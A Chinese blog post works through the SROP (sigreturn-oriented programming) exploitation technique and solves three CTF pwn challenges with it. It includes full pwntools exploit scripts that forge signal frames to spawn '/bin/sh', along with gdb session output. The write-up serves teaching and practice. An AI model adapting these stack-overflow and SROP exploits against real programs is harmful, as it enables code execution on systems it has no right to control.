srop

本文最后更新于:7 天前

之前对srop一直只是听过,最近研究了三道srop的题目,顺便整理一下srop的思路

先整理一下srop的要点(来自wiki,有删改)

srop

先了解一个名叫signal机制

类unix系统中相互传递信息的一种方式,称为软中断(kill触发)

内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址

栈的结构会改变

img

称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。(用户可以读写,所以就可以伪造一个signal frame)之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。

signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)。

对于 signal Frame x86 和x64 的 sigcontext有所不同

  • x86
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};
  • x64
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
struct _fpstate
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};

struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};

伪造 signal frame 的具体结构

pwntools已经集成了 SigreturnFrame()这个函数,用来生成一个frame,然后我们可以指定其中寄存器的值。相当于一键伪造栈并快速控制其中寄存器的值。伪造之后如下图所示

img

当系统执行完 sigreturn 系统调用之后,会执行一系列的 pop 指令以便于恢复相应寄存器的值,当执行到 rip 时,就会将程序执行流指向 syscall 地址,根据相应寄存器的值,此时,便会得到一个 shell。

如果希望执行一系列函数的时候,我们只需要控制栈指针,将原来的rip指向的syscall gadgets换成 syscall;ret gadgets

img

构造rop须满足的条件:

1.触发栈溢出

2.知道 binsh ,signal frame, syscall ,sigreturn 的地址

3.知道栈的地址,构造binsh字符串的地址

3.有足够大的空间构造signal frame

对于 sigreturn 系统调用来说,在 64 位系统中,sigreturn 系统调用对应的系统调用号为 15,只需要 RAX=15,并且执行 syscall 即可实现调用 syscall 调用。而 RAX 寄存器的值又可以通过控制某个函数的返回值来间接控制,比如说 read 函数的返回值为读取的字节数。

ciscn_2019_es_7

image-20240118213208269

典型的栈溢出(栈大小为0x10,读取0x300,显示0x30)

特别之处在于程序使用系统调用号来调用read和write函数

调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pwndbg> info proc map
process 84263
Mapped address spaces:

Start Addr End Addr Size Offset Perms objfile
0x400000 0x401000 0x1000 0x0 r-xp /home/pfang1n/桌面/pwn/challenges/srop/ciscn_2019_es_7
0x600000 0x601000 0x1000 0x0 r--p /home/pfang1n/桌面/pwn/challenges/srop/ciscn_2019_es_7
0x601000 0x602000 0x1000 0x1000 rw-p /home/pfang1n/桌面/pwn/challenges/srop/ciscn_2019_es_7
0x7fa92df64000 0x7fa92df67000 0x3000 0x0 rw-p
0x7fa92df67000 0x7fa92df8d000 0x26000 0x0 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7fa92df8d000 0x7fa92e0e2000 0x155000 0x26000 r-xp /usr/lib/x86_64-linux-gnu/libc.so.6
0x7fa92e0e2000 0x7fa92e136000 0x54000 0x17b000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7fa92e136000 0x7fa92e13a000 0x4000 0x1cf000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7fa92e13a000 0x7fa92e13c000 0x2000 0x1d3000 rw-p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7fa92e13c000 0x7fa92e149000 0xd000 0x0 rw-p
0x7fa92e15f000 0x7fa92e161000 0x2000 0x0 rw-p
0x7fa92e161000 0x7fa92e162000 0x1000 0x0 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7fa92e162000 0x7fa92e187000 0x25000 0x1000 r-xp /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7fa92e187000 0x7fa92e191000 0xa000 0x26000 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7fa92e191000 0x7fa92e193000 0x2000 0x30000 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7fa92e193000 0x7fa92e195000 0x2000 0x32000 rw-p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffcf8d24000 0x7ffcf8d45000 0x21000 0x0 rw-p [stack]
0x7ffcf8db4000 0x7ffcf8db8000 0x4000 0x0 r--p [vvar]
0x7ffcf8db8000 0x7ffcf8dba000 0x2000 0x0 r-xp [vdso]
pwndbg> find 0x7ffcf8d24000,0x7ffcf8d45000,'/bin/sh'
No symbol "/bin/sh" in current context.
pwndbg> find 0x7ffcf8d24000,0x7ffcf8d45000,"/bin/sh"
0x7ffcf8d42c20
warning: Unable to access 9184 bytes of target memory at 0x7ffcf8d42c21, halting search.
1 pattern found.
pwndbg> x/2gx 0x7ffcf8d42c20
0x7ffcf8d42c20: 0x0068732f6e69622f 0x0000000000000000
pwndbg> p 0x7ffcf8d42d68-0x7ffcf8d42c20
$1 = 328
pwndbg>

info proc map:查看当前进程的内存映射,

find 0x7ffcf8d24000,0x7ffcf8d45000,”/bin/sh”:在栈中查找‘/bin/sh’的地址

p 0x7ffcf8d42d68-0x7ffcf8d42c20:查看与泄露出来的栈上的地址的偏移=328

image-20240119165236840

(0x7ffcf8d42d68是程序在调用函数时泄露的栈地址)

找到syscall的地址

image-20240119165547235

rax=15(调用sigreturn)和rax=59(调用execv

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context(log_level = 'debug',arch = 'amd64',os = 'linux')
mov_rax_sigreturn = 0x4004DA
read_addr = 0x4004F1
syscall_ret = 0x400501
p = process("./ciscn_2019_es_7")
p.sendline(b'/bin/sh\x00'.ljust(0x10,b'\x00')+p64(read_addr))
#gdb.attach(p)
p.recv(32)
stack_addr=u64(p.recv(8))
#stack_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
p.recv(8)
#pwntools生成Signal Frame
sigframe = SigreturnFrame()
sigframe.rax=constants.SYS_execve #59
sigframe.rdi=stack_addr -328
sigframe.rsi=0x0
sigframe.rsp=stack_addr
sigframe.rip=syscall_ret


payload=b'/bin/sh\x00'+p64(0)+p64(mov_rax_sigreturn)+p64(syscall_ret)+bytes(sigframe)
p.sendline(payload)
print('stack_addr:',hex(stack_addr))
print('/bin/sh_addr:',hex(stack_addr-328))
p.interactive()

image-20240119174648117

rootersctf_2019_srop

image-20240121214607133

跟上道题的区别就是没有回显

image-20240122174933937

构造两次srop 第一次读入,第二次执行execve

以下是第一个栈帧

image-20240122224758203

image-20240122224915670

第二个栈帧

image-20240122225119820

最后执行execve(“/bin/sh”)

image-20240122225155024

  • ,需要注意:如果将framerip设置为syscall;ret,那么rsp指向地址,就是即将下一个栈帧的栈顶。程序会取rsp指向的地址或指令继续执行

  • leave;ret指令的本质是mov rbp rsp;pop rbp;pop rip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context(log_level = 'debug',arch = 'amd64',os = 'linux')
p=process('./rootersctf_2019_srop')
#p=remote('node5.buuoj.cn',25389)
data_addr=0x402000
syscall_leave_ret = 0x401033
pop_rax_syscall_leave_ret = 0x401032
syscall_addr = 0x401046

#read(0, data_addr, 0x400)
frame = SigreturnFrame()
frame.rax = 0 # read
frame.rdi = 0 # stdin
frame.rsi = data_addr
frame.rdx = 0x400
frame.rip = syscall_leave_ret
frame.rbp = data_addr + 0x10

#execve("/bin/sh", 0, 0)
p.sendlineafter("Hey, can i get some feedback for the CTF?\n", flat([0x88 * "a", pop_rax_syscall_leave_ret, 0xf, bytes(frame)]))

frame = SigreturnFrame()
frame.rax = 59 # execve constants.SYS_execve
frame.rdi = data_addr # stdin
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr

payload = flat(["/bin/sh\x00", "a" * 0x10, pop_rax_syscall_leave_ret, 0xf, bytes(frame)])

p.sendline(payload)

p.interactive()

360chunqiu2017_smallest

image-20240123141950945

image-20240123170639519这个题就有一个read系统调用,十几行汇编代码,同样是需要用srop伪造栈布局

观察这段汇编代码,XOR RAX, RAX 将 RAX 寄存器的值与自身进行异或操作。这条指令的结果是,RAX 寄存器的所有位都会被设置为0。效果等同于 MOV RAX, 0,而且发现read是直接从rsp读取(可以理解为偏移是0)

思路就是首先需要leak一个地址,构造write(1,stack,n)来泄露栈上内容,控制rax为1时,rdi也正好能够为标准输出流,且系统调用号对应write函数,将直接从rsp出写出0x400个字节的数据(read的系统调用号是0``write的系统调用号是1)。

注意:输入的那一个字节必须是\xb3,因为读入的时候会直接写到rsp处,而这里存的是该函数的返回地址。绕过xor,实现read函数的返回值来控制rax为1并输出栈顶指针所指向的数据

1
2
3
4
5
6
7
8
payload = p64(start_addr) * 3
sh.send(payload)
## 修改返回地址为start_addr+3
## 这样就可以跳过 xor rax,rax;那么rax=1
## 获取堆栈地址
sh.send(b'\xb3')
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr))

image-20240124142415229

然后知道了栈地址,就可以伪造栈了,

我们首先伪造一个read(0,stack_addr,0x400),目的是读取binsh,

1
2
3
4
5
6
7
8
9
## 让 rsp 指向 stack_addr
## 读取帧(0,stack_addr,0x400)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

再伪造一个栈帧,构造execve(“/bin/sh”,0,0)

1
2
3
4
5
6
7
8
## call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120 # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr+ 0x120
sigframe.rip = syscall_ret

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *

sh = process('./smallest')
#sh = remote('node5.buuoj.cn',28024)
context(os='linux',arch='amd64',log_level='debug')

syscall_ret = 0x4000BE
start_addr = 0x4000B0

payload = p64(start_addr) * 3
sh.send(payload)

## 修改返回地址为start_addr+3
## 这样就可以跳过 xor rax,rax;那么rax=1
## 获取堆栈地址
sh.send(b'\xb3')

stack_addr = u64(sh.recv()[8:16])

log.success('leak stack addr :' + hex(stack_addr))

## 让 rsp 指向 stack_addr
## 读取帧(0,stack_addr,0x400)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + b'a' * 8 + bytes(sigframe)
sh.send(payload)

#输入十五个字节,触发sigreturn 设置 rax=15
sigreturn = p64(syscall_ret) + b'b' * 7
sh.send(sigreturn)

## call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120 # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr+ 0x120
sigframe.rip = syscall_ret



frame_payload = p64(start_addr) + b'b' * 8 + bytes(sigframe)
payload = frame_payload + (0x120 - len(frame_payload)) * b'\x00' + b'/bin/sh\x00'+p64(stack_addr + 0x190)
sh.send(payload)

sh.send(sigreturn)
sh.interactive()

收获

1.srop只用于栈溢出较大的场景,并且程序中需要有系统调用

2.srop可以构造多个帧,若程序缺乏binsh,第1帧先写/bin/sh\x00,然后第2帧执行execve


srop
http://example.com/2024/01/18/srop/
作者
fan fan
发布于
2024年1月18日
许可协议